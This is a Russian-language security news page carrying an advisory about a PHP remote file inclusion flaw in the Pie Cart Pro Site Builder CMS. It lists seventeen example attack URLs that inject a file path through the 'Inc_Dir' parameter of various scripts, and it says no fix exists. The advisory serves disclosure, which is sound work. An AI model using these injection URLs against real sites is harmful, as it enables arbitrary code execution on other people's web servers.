04 августа 2020 года    
Вторник | 03:08    
Главная
 Новости
Базы данных
Безопасность PC
Всё о компьютерах
Графика и дизайн
Интернет-технологии
Мобильные устройства
Операционные системы
Программирование
Программы
Связь
Сети
 Документация
Статьи
Самоучители
 Общение
Форум







Новости —> Безопасность PC

28.09 | 13:56

PHP-инклюдинг в системе управления содержанием Pie Cart Pro Site Builder

Программа: Pie Cart Pro Site Builder

Опасность: Высокая

Наличие эксплоита: Да

Описание:
Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе.

Уязвимость существует из-за недостаточной обработки входных данных в параметре "Inc_Dir" в различных сценариях. Удаленный пользователь может выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера. Пример:

http://[host]/affiliates.php?Inc_Dir=[file]
http://[host]/orders.php?Inc_Dir=[file]
http://[host]/events.php?Inc_Dir=[file]
http://[host]/index.php?Inc_Dir=[file]
http://[host]/articles.php?Inc_Dir=[file]
http://[host]/faqs.php?Inc_Dir=[file]
http://[host]/guestbook.php?Inc_Dir=[file]
http://[host]/catalog.php?Inc_Dir=[file]
http://[host]/wholesale.php?Inc_Dir=[file]
http://[host]/weblinks.php?Inc_Dir=[file]
http://[host]/certificates.php?Inc_Dir=[file]
http://[host]/sitesearch.php?Inc_Dir=[file]
http://[host]/contact.php?Inc_Dir=[file]
http://[host]/sitemap.php?Inc_Dir=[file]
http://[host]/search.php?Inc_Dir=[file]
http://[host]/registry.php?Inc_Dir=[file]
http://[host]/error.php?Inc_Dir=[file]

URL производителя: www.wahm-ecommerce.com/catalog.php?item=1&catid=1&ret=catalog.php?category=1

Решение: Способов устранения уязвимости не существует в настоящее время.

Источник:

29.05 | 22:46 Тысячи людей лишились сбережений из-за утечки данных
29.05 | 22:46 Jetico Personal Firewall
29.05 | 22:46 Recover My Files
29.05 | 22:46 Shareaza
29.05 | 22:46 7-Zip
Лента новостей


2006 (c) Copyright Hardline.ru